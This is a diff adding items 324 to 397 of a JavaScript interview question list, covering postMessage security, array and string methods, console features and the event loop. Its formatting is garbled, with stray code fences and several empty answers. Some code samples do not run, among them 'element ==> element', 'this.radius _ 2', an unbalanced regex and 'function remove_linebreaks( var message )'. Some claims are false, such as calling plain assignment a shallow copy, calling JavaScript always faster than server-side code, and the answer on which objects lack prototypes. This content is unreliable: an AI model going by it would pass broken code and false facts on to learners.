+        [...'John Resig'];
+
+        ```
+
+             The output of the array is ['J', 'o', 'h', 'n', '', 'R', 'e', 's', 'i', 'g']
+             **Explanation:** The string is an iterable type and the spread operator within an array maps every character of an iterable to one element. Hence, each character of a string becomes an element within an Array.
+
+        ```
+
+325.    Is PostMessage secure
+
+        Yes, postMessages can be considered very secure as long as the programmer/developer is careful about checking the origin and source of an arriving message. But if you try to send/receive a message without verifying its source will create cross-site scripting attacks.
+
+326.    What are the problems with postmessage target origin as wildcard
+
+             The second argument of postMessage method specifies which origin is allowed to receive the message. If you use the wildcard "\*" as an argument then any origin is allowed to receive the message. In this case, there is no way for the sender window to know if the target window is at the target origin when sending the message. If the target window has been navigated to another origin, the other origin would receive the data. Hence, this may lead to XSS vulnerabilities.
+
+             ```js
+
+        //
+        targetWindow.postMessage(message, '\*');
+
+        ```
+
+        ```
+
+327.    How do you avoid receiving postMessages from attackers
+
+             Since the listener listens for any message, an attacker can trick the application by sending a message from the attacker's origin, which gives an impression that the receiver received the message from the actual sender's window. You can avoid this issue by validating the origin of the message on the receiver's end using the "message.origin" attribute. For examples, let's check the sender's origin [http://www.some-sender.com](http://www.some-sender.com) on receiver side [www.some-receiver.com](www.some-receiver.com),
+
+             ```js
+
+        //
+        //Listener on http://www.some-receiver.com/
+        window.addEventListener("message", function(message){
+        if(/^http://www\.some-sender\.com$/.test(message.origin)){
+        console.log('You received the data from valid sender', message.data);
+        }
+        });
+
+        ```
+
+        ```
+
+328.    Can I avoid using postMessages completely
+
+        You cannot avoid using postMessages completely(or 100%). Even though your application doesn't use postMessage considering the risks, a lot of third party scripts use postMessage to communicate with the third party service. So your application might be using postMessage without your knowledge.
+
+329.    Is postMessages synchronous
+
+        The postMessages are synchronous in IE8 browser but they are asynchronous in IE9 and all other modern browsers (i.e, IE9+, Firefox, Chrome, Safari).Due to this asynchronous behaviour, we use a callback mechanism when the postMessage is returned.
+
+330.    What paradigm is Javascript
+
+        JavaScript is a multi-paradigm language, supporting imperative/procedural programming, Object-Oriented Programming and functional programming. JavaScript supports Object-Oriented Programming with prototypical inheritance.
+
+331.    What is the difference between internal and external javascript
+
+        **Internal JavaScript:** It is the source code within the script tag.
+        **External JavaScript:** The source code is stored in an external file(stored with .js extension) and referred with in the tag.
+
+332.    Is JavaScript faster than server side script
+
+        Yes, JavaScript is faster than server side script. Because JavaScript is a client-side script it does not require any web server's help for its computation or calculation. So JavaScript is always faster than any server-side script like ASP, PHP, etc.
+
+333.    How do you get the status of a checkbox
+
+             You can apply the `checked` property on the selected checkbox in the DOM. If the value is `True` means the checkbox is checked otherwise it is unchecked. For example, the below HTML checkbox element can be access using javascript as below,
+
+             ```html
+             <input type="checkbox" name="checkboxname" value="Agree" /> Agree the conditions<br />
+             ```
+
+             ```js
+
+        //
+        console.log(document.getElementById('checkboxname').checked); // true or false
+
+        ```
+
+        ```
+
+334.    What is the purpose of double tilde operator
+
+        The double tilde operator(~~) is known as double NOT bitwise operator. This operator is going to be a quicker substitute for Math.floor().
+
+335.    How do you convert character to ASCII code
+
+             You can use the `String.prototype.charCodeAt()` method to convert string characters to ASCII numbers. For example, let's find ASCII code for the first letter of 'ABC' string,
+
+             ```js
+
+        //
+        'ABC'.charCodeAt(0); // returns 65
+
+        ````
+
+             Whereas `String.fromCharCode()` method converts numbers to equal ASCII characters.
+
+             ```js
+
+        //
+        String.fromCharCode(65, 66, 67); // returns 'ABC'
+        ````
+
+336.    What is ArrayBuffer
+
+             An ArrayBuffer object is used to represent a generic, fixed-length raw binary data buffer. You can create it as below,
+
+             ```js
+
+        //
+        let buffer = new ArrayBuffer(16); // create a buffer of length 16
+        alert(buffer.byteLength); // 16
+
+        ````
+
+             To manipulate an ArrayBuffer, we need to use a "view" object.
+
+             ```js
+
+        //
+        //Create a DataView referring to the buffer
+        let view = new DataView(buffer);
+        ````
+
+337.    What is the output of below string expression
+
+             ```js
+
+        //
+        console.log('Welcome to JS world'[0]);
+
+        ```
+
+             The output of the above expression is "W".
+             **Explanation:** The bracket notation with specific index on a string returns the character at a specific location. Hence, it returns the character "W" of the string. Since this is not supported in IE7 and below versions, you may need to use the .charAt() method to get the desired result.
+
+        ```
+
+338.    What is the purpose of Error object
+
+             The Error constructor creates an error object and the instances of error objects are thrown when runtime errors occur. The Error object can also be used as a base object for user-defined exceptions. The syntax of error object would be as below,
+
+             ```js
+
+        //
+        new Error([message[, fileName[, lineNumber]]])
+
+        ````
+
+             You can throw user defined exceptions or errors using Error object in try...catch block as below,
+
+             ```js
+
+        //
+        try {
+        if (withdraw > balance) throw new Error("Oops! You don't have enough balance");
+        } catch (e) {
+        console.log(e.name + ': ' + e.message);
+        }
+        ````
+
+339.    What is the purpose of EvalError object
+
+             The EvalError object indicates an error regarding the global `eval()` function. Even though this exception is not thrown by JavaScript anymore, the EvalError object remains for compatibility. The syntax of this expression would be as below,
+
+             ```js
+
+        //
+        new EvalError([message[, fileName[, lineNumber]]])
+
+        ````
+
+             You can throw EvalError with in try...catch block as below,
+
+             ```js
+
+        //
+        try {
+        throw new EvalError('Eval function error', 'someFile.js', 100);
+        } catch (e) {
+        console.log(e.message, e.name, e.fileName); // "Eval function error", "EvalError", "someFile.js"
+        ````
+
+340.    What are the list of cases error thrown from non-strict mode to strict mode
+
+             When you apply 'use strict'; syntax, some of the below cases will throw a SyntaxError before executing the script
+
+             1. When you use Octal syntax
+
+             ```js
+
+        //
+        var n = 022;
+
+        ````
+
+             1. Using `with` statement
+             2. When you use delete operator on a variable name
+             3. Using eval or arguments as variable or function argument name
+             4. When you use newly reserved keywords
+             5. When you declare a function in a block
+
+             ```js
+
+        //
+        if (someCondition) {
+        function f() {}
+        }
+        ````
+
+             Hence, the errors from above cases are helpful to avoid errors in development/production environments.
+
+341.    Do all objects have prototypes
+
+        No. All objects have prototypes except for the base object which is created by the user, or an object that is created using the new keyword.
+
+342.    What is the difference between a parameter and an argument
+
+             Parameter is the variable name of a function definition whereas an argument represents the value given to a function when it is invoked. Let's explain this with a simple function
+
+             ```js
+
+        //
+        function myFunction(parameter1, parameter2, parameter3) {
+        console.log(arguments[0]); // "argument1"
+        console.log(arguments[1]); // "argument2"
+        console.log(arguments[2]); // "argument3"
+        }
+        myFunction('argument1', 'argument2', 'argument3');
+
+        ```
+
+        ```
+
+343.    What is the purpose of some method in arrays
+
+             The some() method is used to test whether at least one element in the array passes the test implemented by the provided function. The method returns a boolean value. Let's take an example to test for any odd elements,
+
+             ```js
+
+        //
+        var array = [1, 2, 3, 4, 5, 6 ,7, 8, 9, 10];
+
+             var odd = element ==> element % 2 !== 0;
+
+             console.log(array.some(odd)); // true (the odd element exists)
+             ```
+
+344.    How do you combine two or more arrays
+
+             The concat() method is used to join two or more arrays by returning a new array containing all the elements. The syntax would be as below,
+
+             ```js
+
+        //
+        array1.concat(array2, array3, ..., arrayX)
+
+        ````
+
+             Let's take an example of array's concatenation with veggies and fruits arrays,
+
+             ```js
+
+        //
+        var veggies = ['Tomato', 'Carrot', 'Cabbage'];
+        var fruits = ['Apple', 'Orange', 'Pears'];
+        var veggiesAndFruits = veggies.concat(fruits);
+        console.log(veggiesAndFruits); // Tomato, Carrot, Cabbage, Apple, Orange, Pears
+        ````
+
+345.    What is the difference between Shallow and Deep copy
+
+             There are two ways to copy an object,
+
+             **Shallow Copy:**
+             Shallow copy is a bitwise copy of an object. A new object is created that has an exact copy of the values in the original object. If any of the fields of the object are references to other objects, just the reference addresses are copied i.e., only the memory address is copied.
+
+             **Example**
+
+             ```js
+
+        //
+        var empDetails = {
+        name: 'John',
+        age: 25,
+        expertise: 'Software Developer'
+        };
+
+        ````
+
+             to create a duplicate
+
+             ```js
+
+        //
+        var empDetailsShallowCopy = empDetails; //Shallow copying!
+        ````
+
+             if we change some property value in the duplicate one like this:
+
+             ```js
+
+        //
+        empDetailsShallowCopy.name = 'Johnson';
+
+        ````
+
+             The above statement will also change the name of `empDetails`, since we have a shallow copy. That means we're losing the original data as well.
+
+             **Deep copy:**
+             A deep copy copies all fields, and makes copies of dynamically allocated memory pointed to by the fields. A deep copy occurs when an object is copied along with the objects to which it refers.
+
+             **Example**
+
+             ```js
+
+        //
+        var empDetails = {
+        name: 'John',
+        age: 25,
+        expertise: 'Software Developer'
+        };
+        ````
+
+             Create a deep copy by using the properties from the original object into new variable
+
+             ```js
+
+        //
+        var empDetailsDeepCopy = {
+        name: empDetails.name,
+        age: empDetails.age,
+        expertise: empDetails.expertise
+        };
+
+        ```
+
+             Now if you change `empDetailsDeepCopy.name`, it will only affect `empDetailsDeepCopy` & not `empDetails`
+
+        ```
+
+346.    How do you create specific number of copies of a string
+
+             The `repeat()` method is used to construct and return a new string which contains the specified number of copies of the string on which it was called, concatenated together. Remember that this method has been added to the ECMAScript 2015 specification.
+             Let's take an example of Hello string to repeat it 4 times,
+
+             ```js
+
+        //
+        'Hello'.repeat(4); // 'HelloHelloHelloHello'
+
+        ```
+
+        ```
+
+347.    How do you return all matching strings against a regular expression
+
+             The `matchAll()` method can be used to return an iterator of all results matching a string against a regular expression. For example, the below example returns an array of matching string results against a regular expression,
+
+             ```js
+
+        //
+        let regexp = /Hello(\d?))/g;
+        let greeting = 'Hello1Hello2Hello3';
+
+             let greetingList = [...greeting.matchAll(regexp)];
+
+             console.log(greetingList[0]); //Hello1
+             console.log(greetingList[1]); //Hello2
+             console.log(greetingList[2]); //Hello3
+             ```
+
+348.    How do you trim a string at the beginning or ending
+
+             The `trim` method of string prototype is used to trim on both sides of a string. But if you want to trim especially at the beginning or ending of the string then you can use `trimStart/trimLeft` and `trimEnd/trimRight` methods. Let's see an example of these methods on a greeting message,
+
+             ```js
+
+        //
+        var greeting = ' Hello, Goodmorning! ';
+
+             console.log(greeting); // "   Hello, Goodmorning!   "
+             console.log(greeting.trimStart()); // "Hello, Goodmorning!   "
+             console.log(greeting.trimLeft()); // "Hello, Goodmorning!   "
+
+             console.log(greeting.trimEnd()); // "   Hello, Goodmorning!"
+             console.log(greeting.trimRight()); // "   Hello, Goodmorning!"
+             ```
+
+349.    What is the output of below console statement with unary operator
+
+             Let's take console statement with unary operator as given below,
+
+             ```js
+
+        //
+        console.log(+'Hello');
+
+        ```
+
+             The output of the above console log statement returns NaN. Because the element is prefixed by the unary operator and the JavaScript interpreter will try to convert that element into a number type. Since the conversion fails, the value of the statement results in NaN value.
+
+        ```
+
+350.    Does javascript uses mixins
+
+351.    What is a thunk function
+
+             A thunk is just a function which delays the evaluation of the value. It doesn't take any arguments but gives the value whenever you invoke the thunk. i.e, It is used not to execute now but it will be sometime in the future. Let's take a synchronous example,
+
+             ```js
+
+        //
+        const add = (x, y) => x + y;
+
+             const thunk = () => add(2, 3);
+
+             thunk(); // 5
+             ```
+
+352.    What are asynchronous thunks
+
+             The asynchronous thunks are useful to make network requests. Let's see an example of network requests,
+
+             ```js
+
+        //
+        function fetchData(fn) {
+        fetch('https://jsonplaceholder.typicode.com/todos/1')
+        .then((response) => response.json())
+        .then((json) => fn(json));
+        }
+
+             const asyncThunk = function () {
+                 return fetchData(function getData(data) {
+                     console.log(data);
+                 });
+             };
+
+             asyncThunk();
+             ```
+
+             The `getData` function won't be called immediately but it will be invoked only when the data is available from API endpoint. The setTimeout function is also used to make our code asynchronous. The best real time example is redux state management library which uses the asynchronous thunks to delay the actions to dispatch.
+
+353.    What is the output of below function calls
+
+             **Code snippet:**
+
+             ```js
+
+        //
+        const circle = {
+        radius: 20,
+        diameter() {
+        return this.radius _ 2;
+        },
+        perimeter: () => 2 _ Math.PI \* this.radius
+        };
+
+        ```
+
+             console.log(circle.diameter());
+             console.log(circle.perimeter());
+
+             **Output:**
+
+             The output is 40 and NaN. Remember that diameter is a regular function, whereas the value of perimeter is an arrow function. The `this` keyword of a regular function(i.e, diameter) refers to the surrounding scope which is a class(i.e, Shape object). Whereas this keyword of perimeter function refers to the surrounding scope which is a window object. Since there is no radius property on window objects it returns an undefined value and the multiple of number value returns NaN value.
+
+        ```
+
+354.    How to remove all line breaks from a string
+
+             The easiest approach is using regular expressions to detect and replace newlines in the string. In this case, we use replace function along with string to replace with, which in our case is an empty string.
+
+             ```js
+
+        //
+        function remove_linebreaks( var message ) {
+        return message.replace( /[\r\n]+/gm, "" );
+        }
+
+        ```
+
+             In the above expression, g and m are for global and multiline flags.
+
+        ```
+
+355.    What is the difference between reflow and repaint
+
+        A _repaint_ occurs when changes are made which affect the visibility of an element, but not its layout. Examples of this include outline, visibility, or background color. A _reflow_ involves changes that affect the layout of a portion of the page (or the whole page). Resizing the browser window, changing the font, content changing (such as user typing text), using JavaScript methods involving computed styles, adding or removing elements from the DOM, and changing an element's classes are a few of the things that can trigger reflow. Reflow of an element causes the subsequent reflow of all child and ancestor elements as well as any elements following it in the DOM.
+
+356.    What happens with negating an array
+
+             Negating an array with `!` character will coerce the array into a boolean. Since Arrays are considered to be truthy So negating it will return `false`.
+
+             ```js
+
+        //
+        console.log(![]); // false
+
+        ```
+
+        ```
+
+357.    What happens if we add two arrays
+
+             If you add two arrays together, it will convert them both to strings and concatenate them. For example, the result of adding arrays would be as below,
+
+             ```js
+
+        //
+        console.log(['a'] + ['b']); // "ab"
+        console.log([] + []); // ""
+        console.log(![] + []); // "false", because ![] returns false.
+
+        ```
+
+        ```
+
+358.    What is the output of prepend additive operator on falsy values
+
+             If you prepend the additive(+) operator on falsy values(null, undefined, NaN, false, ""), the falsy value converts to a number value zero. Let's display them on browser console as below,
+
+             ```js
+
+        //
+        console.log(+null); // 0
+        console.log(+undefined); // NaN
+        console.log(+false); // 0
+        console.log(+NaN); // NaN
+        console.log(+''); // 0
+
+        ```
+
+        ```
+
+359.    How do you create self string using special characters
+
+             The self string can be formed with the combination of `[]()!+` characters. You need to remember the below conventions to achieve this pattern.
+
+             1. Since Arrays are truthful values, negating the arrays will produce false: ![] === false
+             2. As per JavaScript coercion rules, the addition of arrays together will toString them: [] + [] === ""
+             3. Prepend an array with + operator will convert an array to false, the negation will make it true and finally converting the result will produce value '1': +(!(+[])) === 1
+
+             By applying the above rules, we can derive below conditions
+
+             ```js
+
+        //
+        (![] + [] === 'false' + !+[]) === 1;
+
+        ````
+
+             Now the character pattern would be created as below,
+
+             ```js
+
+        //
+        s e l f
+        ^^^^^^^^^^^^^ ^^^^^^^^^^^^^ ^^^^^^^^^^^^^ ^^^^^^^^^^^^^
+
+              (![] + [])[3] + (![] + [])[4] + (![] + [])[2] + (![] + [])[0]
+              ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^
+             (![] + [])[+!+[]+!+[]+!+[]] +
+             (![] + [])[+!+[]+!+[]+!+[]+!+[]] +
+             (![] + [])[+!+[]+!+[]] +
+             (![] + [])[+[]]
+             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+             (![]+[])[+!+[]+!+[]+!+[]]+(![]+[])[+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]+!+[]]+(![]+[])[+[]]
+             ```
+
+        ````
+
+360.    How do you remove falsy values from an array
+
+             You can apply the filter method on the array by passing Boolean as a parameter. This way it removes all falsy values(0, undefined, null, false and "") from the array.
+
+             ```js
+
+        //
+        const myArray = [false, null, 1, 5, undefined];
+        myArray.filter(Boolean); // [1, 5] // is same as myArray.filter(x => x);
+
+        ```
+
+        ```
+
+361.    How do you get unique values of an array
+
+             You can get unique values of an array with the combination of `Set` and rest expression/spread(...) syntax.
+
+             ```js
+
+        //
+        console.log([...new Set([1, 2, 4, 4, 3])]); // [1, 2, 4, 3]
+
+        ```
+
+        ```
+
+362.    What is destructuring aliases
+
+             Sometimes you would like to have a destructured variable with a different name than the property name. In that case, you'll use a `: newName` to specify a name for the variable. This process is called destructuring aliases.
+
+             ```js
+
+        //
+        const obj = { x: 1 };
+        // Grabs obj.x as as { otherName }
+        const { x: otherName } = obj;
+
+        ```
+
+        ```
+
+363.    How do you map the array values without using map method
+
+             You can map the array values without using the `map` method by just using the `from` method of Array. Let's map city names from Countries array,
+
+             ```js
+
+        //
+        const countries = [
+        { name: 'India', capital: 'Delhi' },
+        { name: 'US', capital: 'Washington' },
+        { name: 'Russia', capital: 'Moscow' },
+        { name: 'Singapore', capital: 'Singapore' },
+        { name: 'China', capital: 'Beijing' },
+        { name: 'France', capital: 'Paris' }
+        ];
+
+             const cityNames = Array.from(countries, ({ capital }) => capital);
+             console.log(cityNames); // ['Delhi, 'Washington', 'Moscow', 'Singapore', 'Beijing', 'Paris']
+             ```
+
+364.    How do you empty an array
+
+             You can empty an array quickly by setting the array length to zero.
+
+             ```js
+
+        //
+        let cities = ['Singapore', 'Delhi', 'London'];
+        cities.length = 0; // cities becomes []
+
+        ```
+
+        ```
+
+365.    How do you rounding numbers to certain decimals
+
+             You can round numbers to a certain number of decimals using `toFixed` method from native javascript.
+
+             ```js
+
+        //
+        let pie = 3.141592653;
+        pie = pie.toFixed(3); // 3.142
+
+        ```
+
+        ```
+
+366.    What is the easiest way to convert an array to an object
+
+             You can convert an array to an object with the same data using spread(...) operator.
+
+             ```js
+
+        //
+        var fruits = ['banana', 'apple', 'orange', 'watermelon'];
+        var fruitsObject = { ...fruits };
+        console.log(fruitsObject); // {0: "banana", 1: "apple", 2: "orange", 3: "watermelon"}
+
+        ```
+
+        ```
+
+367.    How do you create an array with some data
+
+             You can create an array with some data or an array with the same values using `fill` method.
+
+             ```js
+
+        //
+        var newArray = new Array(5).fill('0');
+        console.log(newArray); // ["0", "0", "0", "0", "0"]
+
+        ```
+
+        ```
+
+368.    What are the placeholders from console object
+
+             Below are the list of placeholders available from console object,
+
+             1. %o — It takes an object,
+             2. %s — It takes a string,
+             3. %d — It is used for a decimal or integer
+                These placeholders can be represented in the console.log as below
+
+             ```js
+
+        //
+        const user = { name: 'John', id: 1, city: 'Delhi' };
+        console.log('Hello %s, your details %o are available in the object form', 'John', user); // Hello John, your details {name: "John", id: 1, city: "Delhi"} are available in object
+
+        ```
+
+        ```
+
+369.    Is it possible to add CSS to console messages
+
+             Yes, you can apply CSS styles to console messages similar to html text on the web page.
+
+             ```js
+
+        //
+        console.log('%c The text has blue color, with large font and red background', 'color: blue; font-size: x-large; background: red');
+
+        ```
+
+             The text will be displayed as below,
+             ![Screenshot](images/console-css.png)
+
+             **Note:** All CSS styles can be applied to console messages.
+
+        ```
+
+370.    What is the purpose of dir method of console object
+
+             The `console.dir()` is used to display an interactive list of the properties of the specified JavaScript object as JSON.
+
+             ```js
+
+        //
+        const user = { name: 'John', id: 1, city: 'Delhi' };
+        console.dir(user);
+
+        ```
+
+             The user object displayed in JSON representation
+             ![Screenshot](images/console-dir.png)
+
+        ```
+
+371.    Is it possible to debug HTML elements in console
+
+             Yes, it is possible to get and debug HTML elements in the console just like inspecting elements.
+
+             ```js
+
+        //
+        const element = document.getElementsByTagName('body')[0];
+        console.log(element);
+
+        ```
+
+             It prints the HTML element in the console,
+
+             ![Screenshot](images/console-html.png)
+
+        ```
+
+372.    How do you display data in a tabular format using console object
+
+             The `console.table()` is used to display data in the console in a tabular format to visualize complex arrays or objects.
+
+             ```js
+
+        //
+        const users = [
+        { name: 'John', id: 1, city: 'Delhi' },
+        { name: 'Max', id: 2, city: 'London' },
+        { name: 'Rod', id: 3, city: 'Paris' }
+        ];
+        console.table(users);
+
+        ```
+
+             The data visualized in a table format,
+
+             ![Screenshot](images/console-table.png)
+             **Not:** Remember that `console.table()` is not supported in IE.
+
+        ```
+
+373.    How do you verify that an argument is a Number or not
+
+             The combination of IsNaN and isFinite methods are used to confirm whether an argument is a number or not.
+
+             ```js
+
+        //
+        function isNumber(n) {
+        return !isNaN(parseFloat(n)) && isFinite(n);
+        }
+
+        ```
+
+        ```
+
+374.    How do you create copy to clipboard button
+
+             You need to select the content(using .select() method) of the input element and execute the copy command with execCommand (i.e, execCommand('copy')). You can also execute other system commands like cut and paste.
+
+             ```js
+
+        //
+        document.querySelector('#copy-button').onclick = function () {
+        // Select the content
+        document.querySelector('#copy-input').select();
+        // Copy to the clipboard
+        document.execCommand('copy');
+        };
+
+        ```
+
+        ```
+
+375.    What is the shortcut to get timestamp
+
+             You can use `new Date().getTime()` to get the current timestamp. There is an alternative shortcut to get the value.
+
+             ```js
+
+        //
+        console.log(+new Date());
+        console.log(Date.now());
+
+        ```
+
+        ```
+
+376.    How do you flattening multi dimensional arrays
+
+             Flattening bi-dimensional arrays is trivial with Spread operator.
+
+             ```js
+
+        //
+        const biDimensionalArr = [11, [22, 33], [44, 55], [66, 77], 88, 99];
+        const flattenArr = [].concat(...biDimensionalArr); // [11, 22, 33, 44, 55, 66, 77, 88, 99]
+
+        ````
+
+             But you can make it work with multi-dimensional arrays by recursive calls,
+
+             ```js
+
+        //
+        function flattenMultiArray(arr) {
+        const flattened = [].concat(...arr);
+        return flattened.some((item) => Array.isArray(item)) ? flattenMultiArray(flattened) : flattened;
+        }
+        const multiDimensionalArr = [11, [22, 33], [44, [55, 66, [77, [88]], 99]]];
+        const flatArr = flattenMultiArray(multiDimensionalArr); // [11, 22, 33, 44, 55, 66, 77, 88, 99]
+        ````
+
+377.    What is the easiest multi condition checking
+
+             You can use `indexOf` to compare input with multiple values instead of checking each value as one condition.
+
+             ```js
+
+        //
+        // Verbose approach
+        if (input === 'first' || input === 1 || input === 'second' || input === 2) {
+        someFunction();
+        }
+        // Shortcut
+        if (['first', 1, 'second', 2].indexOf(input) !== -1) {
+        someFunction();
+        }
+
+        ```
+
+        ```
+
+378.    How do you capture browser back button
+
+             The `window.onbeforeunload` method is used to capture browser back button events. This is helpful to warn users about losing the current data.
+
+             ```js
+
+        //
+        window.onbeforeunload = function () {
+        alert('You work will be lost');
+        };
+
+        ```
+
+        ```
+
+379.    How do you disable right click in the web page
+
+             The right click on the page can be disabled by returning false from the `oncontextmenu` attribute on the body element.
+
+             ```html
+             <body oncontextmenu="return false;">
+
+        </body>
+             ```
+
+380.    What are wrapper objects
+
+             Primitive Values like string,number and boolean don't have properties and methods but they are temporarily converted or coerced to an object(Wrapper object) when you try to perform actions on them. For example, if you apply toUpperCase() method on a primitive string value, it does not throw an error but returns uppercase of the string.
+
+             ```js
+
+        //
+        let name = 'john';
+
+             console.log(name.toUpperCase()); // Behind the scenes treated as console.log(new String(name).toUpperCase());
+             ```
+
+             i.e, Every primitive except null and undefined have Wrapper Objects and the list of wrapper objects are String,Number,Boolean,Symbol and BigInt.
+
+381.    What is AJAX
+
+        AJAX stands for Asynchronous JavaScript and XML and it is a group of related technologies(HTML, CSS, JavaScript, XMLHttpRequest API etc) used to display data asynchronously. i.e. We can send data to the server and get data from the server without reloading the web page.
+
+382.    What are the different ways to deal with Asynchronous Code
+
+        Below are the list of different ways to deal with Asynchronous code.
+
+        1. Callbacks
+        2. Promises
+        3. Async/await
+        4. Third-party libraries such as async.js,bluebird etc
+
+383.    How to cancel a fetch request
+
+             Until a few days back, One shortcoming of native promises is no direct way to cancel a fetch request. But the new `AbortController` from js specification allows you to use a signal to abort one or multiple fetch calls.
+             The basic flow of cancelling a fetch request would be as below,
+
+             1. Create an `AbortController` instance
+             2. Get the signal property of an instance and pass the signal as a fetch option for signal
+             3. Call the AbortController's abort property to cancel all fetches that use that signal
+                For example, let's pass the same signal to multiple fetch calls will cancel all requests with that signal,
+
+             ```js
+
+        //
+        const controller = new AbortController();
+        const { signal } = controller;
+
+             fetch('http://localhost:8000', { signal })
+                 .then((response) => {
+                     console.log(`Request 1 is complete!`);
+                 })
+                 .catch((e) => {
+                     if (e.name === 'AbortError') {
+                         // We know it's been canceled!
+                     }
+                 });
+
+             fetch('http://localhost:8000', { signal })
+                 .then((response) => {
+                     console.log(`Request 2 is complete!`);
+                 })
+                 .catch((e) => {
+                     if (e.name === 'AbortError') {
+                         // We know it's been canceled!
+                     }
+                 });
+
+             // Wait 2 seconds to abort both requests
+             setTimeout(() => controller.abort(), 2000);
+             ```
+
+384.    What is web speech API
+
+             Web speech API is used to enable modern browsers recognize and synthesize speech(i.e, voice data into web apps). This API has been introduced by W3C Community in the year 2012. It has two main parts,
+
+             1. **SpeechRecognition (Asynchronous Speech Recognition or Speech-to-Text):** It provides the ability to recognize voice context from an audio input and respond accordingly. This is accessed by the `SpeechRecognition` interface.
+                The below example shows on how to use this API to get text from speech,
+
+             ```js
+
+        //
+        window.SpeechRecognition = window.webkitSpeechRecognition || window.SpeechRecognition; // webkitSpeechRecognition for Chrome and SpeechRecognition for FF
+        const recognition = new window.SpeechRecognition();
+        recognition.onresult = (event) => {
+        // SpeechRecognitionEvent type
+        const speechToText = event.results[0][0].transcript;
+        console.log(speechToText);
+        };
+        recognition.start();
+
+        ````
+
+             In this API, browser is going to ask you for permission to use your microphone
+
+             1. **SpeechSynthesis (Text-to-Speech):** It provides the ability to recognize voice context from an audio input and respond. This is accessed by the `SpeechSynthesis` interface.
+                For example, the below code is used to get voice/speech from text,
+
+             ```js
+
+        //
+        if ('speechSynthesis' in window) {
+        var speech = new SpeechSynthesisUtterance('Hello World!');
+        speech.lang = 'en-US';
+        window.speechSynthesis.speak(speech);
+        }
+        ````
+
+             The above examples can be tested on chrome(33+) browser's developer console.
+             **Note:** This API is still a working draft and only available in Chrome and Firefox browsers(ofcourse Chrome only implemented the specification)
+
+385.    What is minimum timeout throttling
+
+             Both browser and NodeJS javascript environments throttles with a minimum delay that is greater than 0ms. That means even though setting a delay of 0ms will not happen instantaneously.
+             **Browsers:** They have a minimum delay of 4ms. This throttle occurs when successive calls are triggered due to callback nesting(certain depth) or after a certain number of successive intervals.
+             Note: The older browsers have a minimum delay of 10ms.
+             **Nodejs:** They have a minimum delay of 1ms. This throttle happens when the delay is larger than 2147483647 or less than 1.
+             The best example to explain this timeout throttling behavior is the order of below code snippet.
+
+             ```js
+
+        //
+        function runMeFirst() {
+        console.log('My script is initialized');
+        }
+        setTimeout(runMeFirst, 0);
+        console.log('Script loaded');
+
+        ````
+
+             and the output would be in
+
+             ```console
+             Script loaded
+             My script is initialized
+             ```
+
+             If you don't use `setTimeout`, the order of logs will be sequential.
+
+             ```js
+
+        //
+        function runMeFirst() {
+        console.log('My script is initialized');
+        }
+        runMeFirst();
+        console.log('Script loaded');
+        ````
+
+             and the output is,
+
+             ```console
+             My script is initialized
+             Script loaded
+             ```
+
+386.    How do you implement zero timeout in modern browsers
+
+        You can't use setTimeout(fn, 0) to execute the code immediately due to minimum delay of greater than 0ms. But you can use window.postMessage() to achieve this behavior.
+
+387.    What are tasks in event loop
+
+        A task is any javascript code/program which is scheduled to be run by the standard mechanisms such as initially starting to run a program, run an event callback, or an interval or timeout being fired. All these tasks are scheduled on a task queue.
+        Below are the list of use cases to add tasks to the task queue,
+
+        1. When a new javascript program is executed directly from console or running by the `<script>` element, the task will be added to the task queue.
+        2. When an event fires, the event callback added to task queue
+        3. When a setTimeout or setInterval is reached, the corresponding callback added to task queue
+
+388.    What is microtask
+
+        Microtask is the javascript code which needs to be executed immediately after the currently executing task/microtask is completed. They are kind of blocking in nature. i.e, The main thread will be blocked until the microtask queue is empty.
+        The main sources of microtasks are Promise.resolve, Promise.reject, MutationObservers, IntersectionObservers etc
+
+        **Note:** All of these microtasks are processed in the same turn of the event loop.
+
+389.    What are different event loops
+
+390.    What is the purpose of queueMicrotask
+
+391.    How do you use javascript libraries in typescript file
+
+             It is known that not all JavaScript libraries or frameworks have TypeScript declaration files. But if you still want to use libraries or frameworks in our TypeScript files without getting compilation errors, the only solution is `declare` keyword along with a variable declaration. For example, let's imagine you have a library called `customLibrary` that doesn't have a TypeScript declaration and have a namespace called `customLibrary` in the global namespace. You can use this library in typescript code as below,
+
+             ```js
+
+        //
+        declare var customLibrary;
+
+        ````
+
+             In the runtime, typescript will provide the type to the `customLibrary` variable as `any` type. The another alternative without using declare keyword is below
+
+             ```js
+
+        //
+        var customLibrary: any;
+        ````
+
+392.    What are the differences between promises and observables
+
+        Some of the major difference in a tabular form
+
+        | Promises                                                           | Observables                                                                              |
+        | ------------------------------------------------------------------ | ---------------------------------------------------------------------------------------- |
+        | Emits only a single value at a time                                | Emits multiple values over a period of time(stream of values ranging from 0 to multiple) |
+        | Eager in nature; they are going to be called immediately           | Lazy in nature; they require subscription to be invoked                                  |
+        | Promise is always asynchronous even though it resolved immediately | Observable can be either synchronous or asynchronous                                     |
+        | Doesn't provide any operators                                      | Provides operators such as map, forEach, filter, reduce, retry, and retryWhen etc        |
+        | Cannot be canceled                                                 | Canceled by using unsubscribe() method                                                   |
+
+393.    What is heap
+
+        Heap(Or memory heap) is the memory location where objects are stored when we define variables. i.e, This is the place where all the memory allocations and de-allocation take place. Both heap and call-stack are two containers of JS runtime.
+        Whenever runtime comes across variables and function declarations in the code it stores them in the Heap.
+
+        ![Screenshot](images/heap.png)
+
+394.    What is an event table
+
+        Event Table is a data structure that stores and keeps track of all the events which will be executed asynchronously like after some time interval or after the resolution of some API requests. i.e Whenever you call a setTimeout function or invoke async operation, it is added to the Event Table.
+        It doesn't not execute functions on it's own. The main purpose of the event table is to keep track of events and send them to the Event Queue as shown in the below diagram.
+
+        ![Screenshot](images/event-table.png)
+
+395.    What is a microTask queue
+
+        Microtask Queue is the new queue where all the tasks initiated by promise objects get processed before the callback queue.
+        The microtasks queue are processed before the next rendering and painting jobs. But if these microtasks are running for a long time then it leads to visual degradation.
+
+396.    What is the difference between shim and polyfill
+
+        A shim is a library that brings a new API to an older environment, using only the means of that environment. It isn't necessarily restricted to a web application. For example, es5-shim.js is used to emulate ES5 features on older browsers (mainly pre IE9).
+        Whereas polyfill is a piece of code (or plugin) that provides the technology that you, the developer, expect the browser to provide natively.
+        In a simple sentence, A polyfill is a shim for a browser API.
+
+397.    How do you detect primitive or non primitive value type
+
